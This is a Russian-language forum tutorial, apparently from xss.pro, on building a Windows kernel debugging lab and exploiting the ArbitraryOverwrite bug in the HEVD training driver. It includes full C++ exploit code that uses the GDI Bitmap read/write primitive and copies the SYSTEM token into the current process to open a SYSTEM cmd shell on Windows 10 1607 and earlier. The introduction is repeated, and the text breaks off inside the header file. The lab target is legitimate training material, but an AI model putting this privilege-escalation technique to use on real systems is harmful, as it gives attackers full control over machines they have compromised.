В этой статье я пошагово разберу, как настроить среду для разработки и отладки эксплойтов ядра Windows. Кроме того, во второй половине статьи, мы с вами напишем эксплоит под уязвимость ArbitraryOverwrite.
Заранее предупрежу, что статья расcчитана на новичков, которые хоть что-то читали о том как писать LPE эксплоиты под ядро Windows.
Если вы профи с большим опытом, ничего интересного для вас здесь пожалуй не будет. Точно также как и для тех, кто ничего не знает о ядре.
Содержание
Если вы уже интересовались темой эксплуатации ядра Windows, то наверняка натыкались на 1000 и 1 статью о том как настроить виртуальный полигон для разработки эксплойтов.
Но ни одна из всех тех статей, которые я читал, не показалась мне достаточно полной и подробной, так что я решил написать свою.
В качестве хостовой машины, сегодня выступит Windows 10. Можно конечно выполнить всё ниже описанное в Linux, но как показывает практика, по большей части это только усложнит задачу.
У меня установлена
Инструментарий
Лучше заняться установкой всех нужных инструментов заранее, чтобы потом не тратить на это время. Всего, на ПО и виртуальные машины, нам понадобиться около 150 гигабайт свободного пространства.
Под виртуальные машины я бы рекомендовал докупить отдельный диск, как это сделал я, хотя это и не обязательно.
Гипервизор
Кандидатов на роль гипервизора у нас, по обыкновению, два: VMWare и VirtualBox.
Я предпочитаю VMWare. Поэтому, все скрины в этой статье будут сделаны в ней. Хотя вы, по желанию, можете использовать VirtualBox.
Разводить холивар о том что лучше, и растягивать и без того длинную статью я не собираюсь.
VMWare - платное ПО, учить вас пиратить я не буду)
Моя версия:
VirtualKD
VirtualKD - это невероятно полезный инструмент, созданный для упрощения отладки виртуальных машин Windows. Он самостоятельно переводит VM в тестовый режим, открывает COM порт для отладки, и делает ещё кучу рутинной работы за нас.
Более подробно можно прочитать в официальном гайде
Отладчик
Роль отладчика исполнит WinDBG Preview. Вы с тем же успехом можете использовать обычный WinDBG, но я предпочту Preview версию.
Не только из-за более вкусного интерфейса, но и из-за простоты использования. Единственный его минус - невозможность установки дополнений WinDBG.
Если я ошибаюсь, и есть способ установки дополнений - отпишите в теме, будет интересно почитать.
Ставил я его из Microsoft Store: https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab
Вы так-же можете поставить Windbg Preview из сторонних источников.
Образы
На этом этапе, следует скачать все необходимные образы OS. В своей практике я использую следующий пречень:
Также я отдельно держу постоянно обновляемый образ Windows 10, он тоже часто бывает нужен.
Пакет установки
Перед тем как приступать к созданию виртуальных машин, я предлогаю собрать свой пакет ПО для установки.
У каждого он будет разный. Состав зависит от того, как вы видите процесс разработки и каким ПО пользуютесь.
Мой состоит из:
При установке я также добавляю в пакет обои, так как стандартные начинают раздражать.
Создаем VM
Ниже пример создания виртуалки в VMWare. Если вы предпочли VirtualBox, можете прочитать. как создать виртуалку тут
Для создания VM, откройте
Я намеренно пропустил те шаги, где просто нужно нажать
1. Указываем путь до ISO файла
2. Указываем имя VM
3. Выбираем BIOS/UEFI
4. Настраиваем параметры процессора. Я обычно ставлю 4 ядра
5. Выбираем объем оперативной памяти. Опять же, ставлю 4
6. Настраиваем сеть
7. Выбираем тип диска и указываем объём
8. Результат
Добавляем общую папку
Общая папка - каталог, доступ к которому имеют и виртуальные машины и машина хоста.
Сегодня этот каталог выступит нашим полигоном для эксплойтов.
Переходим к параметрам VM, и добавляем общую папку.
Настраиваем VM
Для подключения нашей VM к VirtualKD, нужно запустить установщик, который перезапишет загрузчик.
Примечание: При копировании, переностие весь каталог target32 или target64, а не только исполняемый файл.
Теперь, каждый раз при запуске виртуальной машины, нужно будет:
Если не соблюдать порядок, то вы не получите reconnect, и отладчик не подключится.
Если всё сделали правильно, отладчик должен сплюнуть примерно слeдующее:
Тоже самое надо повторить и с остальными образами. Далее, я буду писать эксплоит под Windows 10 x64 1607 Redstone 1.
Как только среда готова, переходим к разработке
Тестируем на практике
Безусловно, всем хотелось бы видеть в качестве парктики какую-нибудь N-day уязвимость. Но к сожалению, у меня сейчас не хватает времени писать полноценный LPE N-Day для статьи, да и новичкам будет проще воспроизвести мою статью,
и написать свой эксплоит, если в качестве примера выступит тестовый драйвер. Так что отложим N-day на следующий раз.
*По другому вставить ASCII арт не получилось
Целью эксплуатации сегодня выступит HEVD (HackSys Extreme Vulnerable Driver) - это специально написанный пример уязвимого драйвера Windows.
Если вам будет интересно дальше эксплуатировать уязвимости из HEVD, то на форуме уже есть статьи с разбором - https://xss.pro/threads/30115/, очень рекомендую.
Скачать драйвер можно тут
Устанавливаем HEVD
Для установки HEVD, нам понадобиться замечательный, но очень старый инструмент, которому к сожалению нет аналогов - OSR Driver Loader
Ссылка на скачивание здесь
Открываем программу и в поле
Далее указываем
И прожимаем
Осталось перезагрузить VM. После перезагрузки проверяем наличие модуля, комадной
Реверсинг
Описывать всё в подробностях я не буду, иначе это будет оффтоп. Если хотите научиться реверсить, рекомендую Курс реверсинга, с использованием IDA Pro от Рикардо Нарвахи, в переводе от yashechka
У этого курса своя особенная атмосфера. Очень советую, сам по нему учился.
В статье мы тоже воспользуемся IDA Pro, для реверса HEVD драйвера. Пускай сейчас, это и не мой основной инструмент, но он объективно лучше всех подходит под задачу.
У меня стоит версия
Первым делом, мы ищем функцию обрабатывающую IOCTL запросы.
Далее определяем ветку, отвечающую за ArbitraryWrite (Она подписана, так как в комплекте с HEVD.sys, идут .pdb символы)
Переходя в вызываемую функцию, наблюдаем следующее
Вот выдержка из тела функции:
Так как HexRays под рукой, прикреплю листинг:
Пользуясь моментом, обращусь к новичкам: Господа, учите ассемблер. Понятно что проще прожать F5 и получить готовый код на C, но если вы действительно хотите стать специалистом, не ленитесь и учите asm.
Говоря коротко - функция принимает структуру, первый элемент которой указывает что писать, а второй куда.
Пишем эксплойт
Создаём обычное консольное приложение, и указываем x64 release сбоку:
И первый вопрос, который возникает у многих, это: "Как я могу перезапись небольшого кусочка памяти, превратить в полноценный LPE?"
Ответ напрашивается сам собой - Переписать какой-нибудь указатель!
Описание техники
Пользоваться будем, достаточно известной, но от этого не менее интересной техникой использования GDI объектов.
GDI объектов много, более подробно о них можно прочитать тут
Мы же, сразу перейдём к эксплуатации одного и них - Bitmap. Его структура, представляет собой следующее:
Нас волнует только поле
Доступ к pixel data, мы имеем через функции:
План у нас следующий:
www.coresecurity.com
Эту технику закрыли в обновлении Redstone 2(Windows 10 1703), но ограничение удалось обойти. История техник ArbitraryRW в Windows, выходит за рамки этой статьи,
так что если есть желание узнать подробнее, вот презентации: [1] и [2]. Материал просто замечательный, советую к прочтению.
Готовим примитив
Примечание: Некоторые части эксплойта я пропустил, их можно найти в полной верии, в конце статьи
Первым делом создадим два Bitmap:
Далее получаем указатель на pvScan0 Worker`a, и вписываем его в pvScan0 Manager`a, вызывая нашу уязвимость:
*Если на этом моменте, вы перестали понимать что происходит, то прочитайте сначала о реализации эксплойтов под более простые уязвимости HEVD - https://xss.pro/threads/30115/
Добавим функции чтения и записи
Обходимся без шеллкода
Пожалуй самое интересное в эксплуатации уязвимости
В чем состоит задача, типичного Token Swap шеллкода? Правильно - поменять местами токены. Мы же, можем обойтись без него, и сделать это, так сказать, руками.
О видах шеллкодов, и принципах их действия, вы можете прочитать тут
Получаем указатель на токен процесса System(PID4)
Перебираем linked-list с процессами, в поисках нашего PID
А теперь просто, переписываем наш токен
Полный код эксплоита
Я разделил полный код эксплоита на два файла, с кодом и c заголовками.
Заголовки я обычно беру либо с Vergilius, либо из Исходников ReactOS
Итог
Это моя первая, достойная авторская статья, а не просто заметка. Так что прошу строго не судить.
Если вы с чем-то не согласны, или в статье есть ошибка, отпишите мне, я отредактирую.
Azrv3l cпециально для xss.pro
Заранее предупрежу, что статья расcчитана на новичков, которые хоть что-то читали о том как писать LPE эксплоиты под ядро Windows.
Если вы профи с большим опытом, ничего интересного для вас здесь пожалуй не будет. Точно также как и для тех, кто ничего не знает о ядре.
Содержание
- Введение
- Инструментарий
- Гипервизор
- VirtualKD
- Отладчик
- Образы
- Пакет установки
- Создаем VM
- Добавляем общую папку
- Настраиваем VM
- Тестируем на практике
- Устанавливаем HEVD
- Реверсинг
- Пишем эксплоит
- Описание техники
- Готовим примитив
- Обходимся без шеллкода
- Полный код эксплойта
- Итог
Если вы уже интересовались темой эксплуатации ядра Windows, то наверняка натыкались на 1000 и 1 статью о том как настроить виртуальный полигон для разработки эксплойтов.
Но ни одна из всех тех статей, которые я читал, не показалась мне достаточно полной и подробной, так что я решил написать свою.
В качестве хостовой машины, сегодня выступит Windows 10. Можно конечно выполнить всё ниже описанное в Linux, но как показывает практика, по большей части это только усложнит задачу.
У меня установлена
Windows 10 1909, на её примере я и разберу настройку среды.Инструментарий
Лучше заняться установкой всех нужных инструментов заранее, чтобы потом не тратить на это время. Всего, на ПО и виртуальные машины, нам понадобиться около 150 гигабайт свободного пространства.
Под виртуальные машины я бы рекомендовал докупить отдельный диск, как это сделал я, хотя это и не обязательно.
Гипервизор
Кандидатов на роль гипервизора у нас, по обыкновению, два: VMWare и VirtualBox.
Я предпочитаю VMWare. Поэтому, все скрины в этой статье будут сделаны в ней. Хотя вы, по желанию, можете использовать VirtualBox.
Разводить холивар о том что лучше, и растягивать и без того длинную статью я не собираюсь.
VMWare - платное ПО, учить вас пиратить я не буду)
Моя версия:
VMware® Workstation Pro 15.1.0 build-13591040VirtualKD
VirtualKD - это невероятно полезный инструмент, созданный для упрощения отладки виртуальных машин Windows. Он самостоятельно переводит VM в тестовый режим, открывает COM порт для отладки, и делает ещё кучу рутинной работы за нас.
Более подробно можно прочитать в официальном гайде
Отладчик
Роль отладчика исполнит WinDBG Preview. Вы с тем же успехом можете использовать обычный WinDBG, но я предпочту Preview версию.
Не только из-за более вкусного интерфейса, но и из-за простоты использования. Единственный его минус - невозможность установки дополнений WinDBG.
Если я ошибаюсь, и есть способ установки дополнений - отпишите в теме, будет интересно почитать.
Ставил я его из Microsoft Store: https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab
Вы так-же можете поставить Windbg Preview из сторонних источников.
Образы
На этом этапе, следует скачать все необходимные образы OS. В своей практике я использую следующий пречень:
- Windows 7
- Windows 7 SP 1 x86
- Windows 7 SP 1 x64
- Windows 10
- Windows 10 1607 x86
- Windows 10 1607 x64
- Windows 10 1903 x64
- Windows 10 1909 x64
- Windows 10 20H2 x64
Также я отдельно держу постоянно обновляемый образ Windows 10, он тоже часто бывает нужен.
Пакет установки
Перед тем как приступать к созданию виртуальных машин, я предлогаю собрать свой пакет ПО для установки.
У каждого он будет разный. Состав зависит от того, как вы видите процесс разработки и каким ПО пользуютесь.
Мой состоит из:
- *Установщик VirtualKD VM
- Firefox
- Process Monitor
- Device Tree
- Sublime Text
При установке я также добавляю в пакет обои, так как стандартные начинают раздражать.
Создаем VM
Ниже пример создания виртуалки в VMWare. Если вы предпочли VirtualBox, можете прочитать. как создать виртуалку тут
Для создания VM, откройте
Файл -> Новая виртуальная машина..., или просто нажмите Ctrl+NЯ намеренно пропустил те шаги, где просто нужно нажать
Далее1. Указываем путь до ISO файла
2. Указываем имя VM
3. Выбираем BIOS/UEFI
4. Настраиваем параметры процессора. Я обычно ставлю 4 ядра
5. Выбираем объем оперативной памяти. Опять же, ставлю 4
6. Настраиваем сеть
7. Выбираем тип диска и указываем объём
8. Результат
Добавляем общую папку
Общая папка - каталог, доступ к которому имеют и виртуальные машины и машина хоста.
Сегодня этот каталог выступит нашим полигоном для эксплойтов.
Переходим к параметрам VM, и добавляем общую папку.
Настраиваем VM
Для подключения нашей VM к VirtualKD, нужно запустить установщик, который перезапишет загрузчик.
Примечание: При копировании, переностие весь каталог target32 или target64, а не только исполняемый файл.
Теперь, каждый раз при запуске виртуальной машины, нужно будет:
- Нажать F8
- Открыть VirtualKD и запустить отладчик
- И только после этого выбрать пункт, "Отключение обязательной проверки подписи драйверов"
Если не соблюдать порядок, то вы не получите reconnect, и отладчик не подключится.
Если всё сделали правильно, отладчик должен сплюнуть примерно слeдующее:
Тоже самое надо повторить и с остальными образами. Далее, я буду писать эксплоит под Windows 10 x64 1607 Redstone 1.
Как только среда готова, переходим к разработке
Тестируем на практике
Безусловно, всем хотелось бы видеть в качестве парктики какую-нибудь N-day уязвимость. Но к сожалению, у меня сейчас не хватает времени писать полноценный LPE N-Day для статьи, да и новичкам будет проще воспроизвести мою статью,
и написать свой эксплоит, если в качестве примера выступит тестовый драйвер. Так что отложим N-day на следующий раз.
Код:
ooooo ooooo oooooooooooo oooooo oooo oooooooooo.
`888' `888' `888' `8 `888. .8' `888' `Y8b
888 888 888 `888. .8' 888 888
888ooooo888 888oooo8 `888. .8' 888 888
888 888 888 " `888.8' 888 888
888 888 888 o `888' 888 d88'
o888o o888o o888ooooood8 `8' o888bood8P'
Целью эксплуатации сегодня выступит HEVD (HackSys Extreme Vulnerable Driver) - это специально написанный пример уязвимого драйвера Windows.
Если вам будет интересно дальше эксплуатировать уязвимости из HEVD, то на форуме уже есть статьи с разбором - https://xss.pro/threads/30115/, очень рекомендую.
Скачать драйвер можно тут
Устанавливаем HEVD
Для установки HEVD, нам понадобиться замечательный, но очень старый инструмент, которому к сожалению нет аналогов - OSR Driver Loader
Ссылка на скачивание здесь
Открываем программу и в поле
Driver Path, указываем путь до HEVD.sys
Далее указываем
Service Start как Automatic
И прожимаем
Register Service
Осталось перезагрузить VM. После перезагрузки проверяем наличие модуля, комадной
lm m HEVD
Реверсинг
Описывать всё в подробностях я не буду, иначе это будет оффтоп. Если хотите научиться реверсить, рекомендую Курс реверсинга, с использованием IDA Pro от Рикардо Нарвахи, в переводе от yashechka
У этого курса своя особенная атмосфера. Очень советую, сам по нему учился.
В статье мы тоже воспользуемся IDA Pro, для реверса HEVD драйвера. Пускай сейчас, это и не мой основной инструмент, но он объективно лучше всех подходит под задачу.
У меня стоит версия
7.5.2.Первым делом, мы ищем функцию обрабатывающую IOCTL запросы.
Далее определяем ветку, отвечающую за ArbitraryWrite (Она подписана, так как в комплекте с HEVD.sys, идут .pdb символы)
Переходя в вызываемую функцию, наблюдаем следующее
Вот выдержка из тела функции:
Код:
lea edx, [rsi+10h]
lea r8d, [rsi+1] ; Alignment
call cs:__imp_ProbeForRead
mov rbx, [r14]
mov rdi, [r14+8]
mov r9, r14
lea r8, aUserwritewhatw_0 ; "[+] UserWriteWhatWhere: 0x%p\n"
lea r12d, [rsi+3]
mov edx, r12d ; Level
lea r14d, [rsi+4Dh]
mov ecx, r14d ; ComponentId
call cs:__imp_DbgPrintEx
lea r9d, [rsi+10h]
lea r8, aWriteWhatWhere ; "[+] WRITE_WHAT_WHERE Size: 0x%X\n"
mov edx, r12d ; Level
mov ecx, r14d ; ComponentId
call cs:__imp_DbgPrintEx
mov r9, rbx
lea r8, aUserwritewhatw_1 ; "[+] UserWriteWhatWhere->What: 0x%p\n"
mov edx, r12d ; Level
mov ecx, r14d ; ComponentId
call cs:__imp_DbgPrintEx
mov r9, rdi
lea r8, aUserwritewhatw ; "[+] UserWriteWhatWhere->Where: 0x%p\n"
mov edx, r12d ; Level
mov ecx, r14d ; ComponentId
call cs:__imp_DbgPrintEx
lea r8, aTriggeringArbi_0 ; "[+] Triggering Arbitrary Write\n"
mov edx, r12d ; Level
mov ecx, r14d ; ComponentId
call cs:__imp_DbgPrintEx
mov rax, [rbx]
mov [rdi], rax
jmp short loc_140085F3D
Так как HexRays под рукой, прикреплю листинг:
C:
__int64 __fastcall TriggerArbitraryWrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned __int64 *v2; // rbx
unsigned __int64 *v3; // rdi
ProbeForRead(UserWriteWhatWhere, 0x10ui64, 1u);
v2 = UserWriteWhatWhere->What;
v3 = UserWriteWhatWhere->Where;
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrintEx(0x4Du, 3u, "[+] WRITE_WHAT_WHERE Size: 0x%X\n", 16i64);
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->What: 0x%p\n", v2);
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->Where: 0x%p\n", v3);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Arbitrary Write\n");
*v3 = *v2;
return 0i64;
}
Говоря коротко - функция принимает структуру, первый элемент которой указывает что писать, а второй куда.
Пишем эксплойт
Создаём обычное консольное приложение, и указываем x64 release сбоку:
И первый вопрос, который возникает у многих, это: "Как я могу перезапись небольшого кусочка памяти, превратить в полноценный LPE?"
Ответ напрашивается сам собой - Переписать какой-нибудь указатель!
Описание техники
Пользоваться будем, достаточно известной, но от этого не менее интересной техникой использования GDI объектов.
GDI объектов много, более подробно о них можно прочитать тут
Мы же, сразу перейдём к эксплуатации одного и них - Bitmap. Его структура, представляет собой следующее:
C:
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
Нас волнует только поле
pvScan0, оно указывает на, так называемый, pixel data - простыми словами, это хранилище данных bitmapДоступ к pixel data, мы имеем через функции:
GetBitmapBits() и SetBitmapBits()План у нас следующий:
- Создаём два Bitmap друг за другом(В дальнейшем Manager и Worker)
- Находим их адреса, и адреса поля
pvScan0у каждого - Записываем в
pvScan0первого bitmap, адресpvScan0второго
- Вызываем
SetBitmapBits()у Manager, чтобы указать адрес - Вызываем
GetBitmapBits()илиSetBitmapBits()у Worker, для чтения/записи
Abusing GDI for ring0 exploit primitives | CoreLabs
Learn how to leverage a number of ring0 vulnerabilities and turn them into pretty reliable exploits, completely bypassing current windows kernel protection mechanisms.
www.coresecurity.com
Эту технику закрыли в обновлении Redstone 2(Windows 10 1703), но ограничение удалось обойти. История техник ArbitraryRW в Windows, выходит за рамки этой статьи,
так что если есть желание узнать подробнее, вот презентации: [1] и [2]. Материал просто замечательный, советую к прочтению.
Готовим примитив
Примечание: Некоторые части эксплойта я пропустил, их можно найти в полной верии, в конце статьи
Первым делом создадим два Bitmap:
C++:
Bitmap manager = GetBitmap("Manager");
Bitmap worker = GetBitmap("Worker");
Далее получаем указатель на pvScan0 Worker`a, и вписываем его в pvScan0 Manager`a, вызывая нашу уязвимость:
C++:
LPVOID workerPvScan0 = &worker.pvScan0;
PUCHAR buffer = (PUCHAR)malloc(sizeof(LPVOID) * 2);
memcpy(buffer, &workerPvScan0, (sizeof(LPVOID)));
memcpy(buffer + (sizeof(LPVOID)), &manager.pvScan0, (sizeof(LPVOID)));
DWORD ret_bytes;
BOOL bResult = DeviceIoControl(hDevice,
0x22200B,
buffer,
(sizeof(LPVOID) * 2),
NULL, 0,
&ret_bytes,
(LPOVERLAPPED)NULL);
if (!bResult) {
printf("[!] Failed to send IOCTL\n\n");
CloseHandle(hDevice);
exit(1);
}
Добавим функции чтения и записи
C++:
LONG Read(HBITMAP hManager, HBITMAP hWorker, LPVOID lpReadAddress, LPVOID lpReadResult, DWORD dwReadLen) {
SetBitmapBits(hManager, dwReadLen, &lpReadAddress); // Set Workers pvScan0 to the Address we want to read.
return GetBitmapBits(hWorker, dwReadLen, lpReadResult); // Use Worker to Read result into lpReadResult Pointer.
}
LONG Write(HBITMAP hManager, HBITMAP hWorker, LPVOID lpWriteAddress, LPVOID lpWriteValue, DWORD dwWriteLen) {
SetBitmapBits(hManager, dwWriteLen, &lpWriteAddress); // Set Workers pvScan0 to the Address we want to write.
return SetBitmapBits(hWorker, dwWriteLen, &lpWriteValue); // Use Worker to Write at Arbitrary Kernel address.
}
Обходимся без шеллкода
Пожалуй самое интересное в эксплуатации уязвимости
ArbitraryRW, это то, что мы можем обойтись без шеллкода.В чем состоит задача, типичного Token Swap шеллкода? Правильно - поменять местами токены. Мы же, можем обойтись без него, и сделать это, так сказать, руками.
О видах шеллкодов, и принципах их действия, вы можете прочитать тут
Получаем указатель на токен процесса System(PID4)
C++:
LPVOID lpSystemEPROCESS = NULL;
LPVOID lpSysProcID = NULL;
LIST_ENTRY leNextProcessLink;
LPVOID lpSystemToken = NULL;
Read(manager.hBitmap, worker.hBitmap, (LPVOID)fpFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID)); //fpFunctionPointer - указатель на PsInitialSystemProcess
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2e8, &lpSysProcID, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x358, &lpSystemToken, sizeof(LPVOID));
Перебираем linked-list с процессами, в поисках нашего PID
C++:
DWORD dwSysProcID = LOWORD(lpSysProcID);
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;
do {
lpNextEPROCESS = (PUCHAR)leNextProcessLink.Flink - 0x2f0;
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2e8, &lpCurrentPID, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, &lpCurrentToken, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
} while (dwCurrentPID != GetCurrentProcessId());
А теперь просто, переписываем наш токен
C++:
Write(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, lpSystemToken, sizeof(LPVOID));
Полный код эксплоита
Я разделил полный код эксплоита на два файла, с кодом и c заголовками.
Заголовки я обычно беру либо с Vergilius, либо из Исходников ReactOS
C++:
#include <Windows.h>
#include <stdio.h>
#include "HEVD_AO.h"
struct Bitmap {
HBITMAP hBitmap;
PUCHAR pvScan0;
};
void spawn_cmd() {
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//Creating process
const wchar_t* cmd = L"C:\\Windows\\System32\\cmd.exe";
if (CreateProcess(cmd, NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[+] Cmd created!\n");
}
else {
printf("[!] FATAL: Can't create cmd.exe\n");
}
return;
}
FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName) {
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
DWORD len;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
LPVOID kernelBase = ModuleInfo->Module[0].ImageBase;
PUCHAR kernelImage = ModuleInfo->Module[0].FullPathName;
LPCSTR lpKernelName = (LPCSTR)(ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName);
HMODULE hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0);
if (hUserSpaceKernel == NULL) {
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName);
if (pUserKernelSymbol == NULL) {
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpaceKernel);
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return pLiveFunctionAddress;
}
Bitmap GetBitmap(LPCSTR lpName) {
Bitmap info;
DWORD dwOffsetToPvScan0 = 0x50;
DWORD dwCounter = 0;
HACCEL hAccel;
LPACCEL lpAccel;
PUSER_HANDLE_ENTRY Address1 = NULL;
PUSER_HANDLE_ENTRY Address2 = NULL;
PUCHAR pAcceleratorAddr1 = NULL;
PUCHAR pAcceleratorAddr2 = NULL;
PSHAREDINFO pSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle(L"user32.dll"), "gSharedInfo");
PUSER_HANDLE_ENTRY gHandleTable = pSharedInfo->aheList;
DWORD index;
lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 700);
while (dwCounter < 20) {
hAccel = CreateAcceleratorTable(lpAccel, 700);
index = LOWORD(hAccel);
Address1 = &gHandleTable[index];
pAcceleratorAddr1 = (PUCHAR)Address1->pKernel;
DestroyAcceleratorTable(hAccel);
hAccel = CreateAcceleratorTable(lpAccel, 700);
index = LOWORD(hAccel);
Address2 = &gHandleTable[index];
pAcceleratorAddr2 = (PUCHAR)Address2->pKernel;
DestroyAcceleratorTable(hAccel);
if (pAcceleratorAddr1 == pAcceleratorAddr2) {
LPVOID lpBuf = VirtualAlloc(NULL, 0x50 * 2 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
info.hBitmap = CreateBitmap(0x701, 2, 1, 8, lpBuf);
break;
}
dwCounter++;
}
info.pvScan0 = pAcceleratorAddr1 + dwOffsetToPvScan0;
return info;
}
LONG Read(HBITMAP hManager, HBITMAP hWorker, LPVOID lpReadAddress, LPVOID lpReadResult, DWORD dwReadLen) {
SetBitmapBits(hManager, dwReadLen, &lpReadAddress); // Set Workers pvScan0 to the Address we want to read.
return GetBitmapBits(hWorker, dwReadLen, lpReadResult); // Use Worker to Read result into lpReadResult Pointer.
}
LONG Write(HBITMAP hManager, HBITMAP hWorker, LPVOID lpWriteAddress, LPVOID lpWriteValue, DWORD dwWriteLen) {
SetBitmapBits(hManager, dwWriteLen, &lpWriteAddress); // Set Workers pvScan0 to the Address we want to write.
return SetBitmapBits(hWorker, dwWriteLen, &lpWriteValue); // Use Worker to Write at Arbitrary Kernel address.
}
void exploit() {
Bitmap manager = GetBitmap("Manager");
Bitmap worker = GetBitmap("Worker");
HANDLE hDevice = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[!] No handle to HackSysExtremeVulnerableDriver\n");
exit(1);
};
LPVOID workerPvScan0 = &worker.pvScan0;
PUCHAR buffer = (PUCHAR)malloc(sizeof(LPVOID) * 2);
memcpy(buffer, &workerPvScan0 , (sizeof(LPVOID)));
memcpy(buffer + (sizeof(LPVOID)), &manager.pvScan0, (sizeof(LPVOID)));
DWORD ret_bytes;
BOOL bResult = DeviceIoControl(hDevice,
0x22200B,
buffer,
(sizeof(LPVOID) * 2),
NULL, 0,
&ret_bytes,
(LPOVERLAPPED)NULL);
if (!bResult) {
printf("[!] Failed to send IOCTL\n\n");
CloseHandle(hDevice);
exit(1);
}
FARPROC fpFunctionAddress = KernelSymbolInfo("PsInitialSystemProcess");
if (fpFunctionAddress == NULL) {
printf("[!] Can't find memory address!\n\n");
CloseHandle(hDevice);
}
LPVOID lpSystemEPROCESS = NULL;
LPVOID lpSysProcID = NULL;
LIST_ENTRY leNextProcessLink;
LPVOID lpSystemToken = NULL;
Read(manager.hBitmap, worker.hBitmap, (LPVOID)fpFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2e8, &lpSysProcID, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x358, &lpSystemToken, sizeof(LPVOID));
DWORD dwSysProcID = LOWORD(lpSysProcID);
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;
do {
lpNextEPROCESS = (PUCHAR)leNextProcessLink.Flink - 0x2f0;
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2e8, &lpCurrentPID, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, &lpCurrentToken, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
} while (dwCurrentPID != GetCurrentProcessId());
Write(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, lpSystemToken, sizeof(LPVOID));
printf("Enjoy system shell!\n");
spawn_cmd();
return;
}
int main() {
printf("[!] Warning: This exploit, only works on Windows 10 1607 or lower!\n");
exploit();
return 0;
}
C++:
#pragma once
#include <Windows.h>
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
